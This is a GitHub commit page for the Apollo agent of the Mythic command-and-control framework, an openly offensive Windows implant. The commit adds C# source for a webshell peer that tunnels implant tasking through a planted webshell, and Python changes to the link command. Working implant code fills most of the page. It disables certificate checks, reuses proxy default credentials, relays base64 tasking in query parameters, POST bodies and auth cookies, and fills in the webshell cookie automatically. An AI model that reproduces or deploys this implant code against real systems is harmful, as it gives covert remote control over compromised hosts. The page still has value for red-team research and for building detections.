Skip to content

Commit

Permalink
adding support for linking to webshell
Browse files Browse the repository at this point in the history
  • Loading branch information
its-a-feature committed Sep 24, 2024
1 parent 9991ab5 commit 92e234f
Show file tree
Hide file tree
Showing 6 changed files with 222 additions and 2 deletions.
6 changes: 6 additions & 0 deletions Payload_Type/apollo/CHANGELOG.MD
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,12 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [v2.2.14] - 2024-09-24

### Changed

- Added in functionality to link to Arachne via webshell configuration

## [v2.2.13] - 2024-08-21

### Changed
Expand Down
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
using System;
using Apollo.Peers.SMB;
using Apollo.Peers.TCP;
using Apollo.Peers.Webshell;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using ApolloInterop.Utils;
using AI = ApolloInterop;
namespace Apollo.Management.Peer
{
Expand All @@ -24,6 +26,9 @@ public override AI.Classes.P2P.Peer AddPeer(PeerInformation connectionInfo)
case "TCP":
peer = new TCPPeer(_agent, connectionInfo);
break;
case "WEBSHELL":
peer = new WebshellPeer(_agent, connectionInfo);
break;
default:
throw new Exception("Not implemented.");
}
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,179 @@
using ApolloInterop.Classes;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.MythicStructs;
using System;
using System.IO.Pipes;
using System.Linq;
using System.Text;
using AI = ApolloInterop;
using AS = ApolloInterop.Structs.ApolloStructs;
using TTasks = System.Threading.Tasks;
using ApolloInterop.Classes.Core;
using ApolloInterop.Structs.ApolloStructs;
using Tasks;
using ApolloInterop.Utils;
using System.Net;
using System.IO;
using System.Security.Policy;
using ApolloInterop.Types.Delegates;

namespace Apollo.Peers.Webshell
{
public class WebshellPeer : AI.Classes.P2P.Peer
{
private Action _sendAction;
private TTasks.Task _sendTask;
private string _remote_url;
private string _remote_query_param;
private string _remote_cookie_name;
private string _remote_cookie_value;
private string _remote_agent_id;
private string _remote_user_agent;

public WebshellPeer(IAgent agent, PeerInformation info) : base(agent, info)
{
C2ProfileName = "webshell";
_remote_agent_id = info.CallbackUUID;
_remote_url = info.C2Profile.Parameters.WebshellURL;
_remote_query_param = info.C2Profile.Parameters.WebshellQueryParam;
_remote_cookie_name = info.C2Profile.Parameters.WebshellCookieName;
_remote_cookie_value = info.C2Profile.Parameters.WebshellCookieValue;
_remote_user_agent = info.C2Profile.Parameters.WebshellUserAgent;
_sendAction = () =>
{
_mythicUUID = info.CallbackUUID;
OnUUIDNegotiated(this, new UUIDEventArgs(info.CallbackUUID));
// Disable certificate validation on web requests
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072 | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
while (!_cts.IsCancellationRequested)
{
_senderEvent.WaitOne();
if (!_cts.IsCancellationRequested && _senderQueue.TryDequeue(out byte[] result))
{
AS.IPCChunkedData chunkedData = _serializer.Deserialize<AS.IPCChunkedData>(Encoding.UTF8.GetString(result));
if (chunkedData.Data.Length == 0)
{
continue;
}
string data = Encoding.UTF8.GetString(Convert.FromBase64String(chunkedData.Data));
//DebugHelp.DebugWriteLine($"Got data to send: {data}, _sendAction in WebshellPeer, to {_mythicUUID} from {_uuid}");
Send(data);
}
}
};
}

private void Send(string data)
{
WebClient webClient = new WebClient();
// Use Default Proxy and Cached Credentials for Internet Access
webClient.Proxy = WebRequest.GetSystemWebProxy();
webClient.Proxy.Credentials = CredentialCache.DefaultCredentials;
webClient.Headers.Add("User-Agent", _remote_user_agent);
//webClient.BaseAddress = _remote_url;
webClient.Headers.Add(HttpRequestHeader.Cookie, $"{_remote_cookie_name}={_remote_cookie_value}");
if (data.Length > 4000)
{
// do a POST
try
{
//DebugHelp.DebugWriteLine($"Sending POST to {_remote_url}");
var response = webClient.UploadString(_remote_url, data);
Recv(response, "");
}
catch (Exception ex)
{
Recv("", ex.Message);
}
} else
{
// do a GET
string QueryURL = _remote_url;
if (QueryURL.Contains("?"))
{
QueryURL += "&" + _remote_query_param + "=" + Uri.EscapeDataString(data);
} else
{
QueryURL += "?" + _remote_query_param + "=" + Uri.EscapeDataString(data);
}
try
{
//DebugHelp.DebugWriteLine($"Sending GET to {QueryURL}");
using (var stream = webClient.OpenRead(QueryURL))
{
using (var streamReader = new StreamReader(stream))
{
var result = streamReader.ReadToEnd();
Recv(result, "");
}
}
}
catch(Exception ex)
{
Recv("", ex.Message);
}
}

}
private void Recv(string data, string error_message)
{
//DebugHelp.DebugWriteLine($"got response: {data} - {error_message}");
if (error_message.Length > 0)
{
return;
}
if (data.StartsWith("<span id=\"task_response\">"))
{
string response = data.Replace("<span id=\"task_response\">", "").Replace("</span>", "");
if (response.Length == 0)
{
return;
}
byte[] raw = Convert.FromBase64String(response);
byte[] mythic_uuid_bytes = Encoding.UTF8.GetBytes(_mythicUUID);
byte[] final_bytes = new byte[raw.Length + mythic_uuid_bytes.Length];
Array.Copy(mythic_uuid_bytes, final_bytes, mythic_uuid_bytes.Length);
Array.Copy(raw, 0, final_bytes, mythic_uuid_bytes.Length, raw.Length);
string final_response = Convert.ToBase64String(final_bytes);
//DebugHelp.DebugWriteLine($"got final response: {final_response}");
_agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage()
{
MythicUUID = _mythicUUID,
UUID = _uuid,
C2Profile = C2ProfileName,
Message = final_response
});
}
}

public override bool Connected()
{
//DebugHelp.DebugWriteLine($"checking if Connected()");
return true;
}

public override bool Finished()
{
//DebugHelp.DebugWriteLine($"checking if Finished()");
return false;
}

public override bool Start()
{
//DebugHelp.DebugWriteLine($"Start()");
_sendTask = new TTasks.Task(_sendAction);
_sendTask.Start();
return true;
}

public override void Stop()
{
//DebugHelp.DebugWriteLine($"Stop()");
_cts.Cancel();
_senderEvent.Set();
_sendTask.Wait();
OnDisconnect(this, new EventArgs());
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -177,6 +177,17 @@ public struct C2ProfileInstanceParameters
public MythicEncryption AESPSK;
[DataMember(Name = "killdate")]
public string KillDate;
[DataMember(Name = "url")]
public string WebshellURL;
[DataMember(Name = "query_param")]
public string WebshellQueryParam;
[DataMember(Name = "cookie_name")]
public string WebshellCookieName;
[DataMember(Name = "cookie_value")]
public string WebshellCookieValue;
[DataMember(Name = "user_agent")]
public string WebshellUserAgent;

}

[DataContract]
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ class Apollo(PayloadType):
supported_os = [
SupportedOS.Windows
]
version = "2.2.13"
version = "2.2.14"
wrapper = False
wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"]
note = """
Expand Down
21 changes: 20 additions & 1 deletion Payload_Type/apollo/apollo/mythic/agent_functions/link.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicGoRPC.send_mythic_rpc_callback_search import *
import json


Expand Down Expand Up @@ -35,7 +36,25 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat
TaskID=taskData.Task.ID,
Success=True,
)
response.DisplayParams = "{}".format(taskData.args.get_arg("connection_info")["host"])
connection_info = taskData.args.get_arg("connection_info")
if connection_info["c2_profile"]["name"] != "webshell":
response.DisplayParams = f"{connection_info['host']} via {connection_info['c2_profile']['name']}"
return response
callback_resp = await SendMythicRPCCallbackSearch(MythicRPCCallbackSearchMessage(
AgentCallbackUUID=taskData.Callback.AgentCallbackID,
SearchCallbackUUID=connection_info["callback_uuid"]
))
if not callback_resp.Success:
response.Success = False
response.Error = callback_resp.Error
return response
if len(callback_resp.Results) == 0:
response.Success = False
response.Error = "Failed to find callback to link to"
return response
connection_info["c2_profile"]["parameters"]["cookie_value"] = base64.b64encode(callback_resp.Results[0].RegisteredPayloadUUID.encode()).decode()
taskData.args.set_arg("connection_info", connection_info)
response.DisplayParams = f"{connection_info['host']} at {connection_info['c2_profile']['parameters']['url']}"
return response

async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
Expand Down

0 comments on commit 92e234f

Please sign in to comment.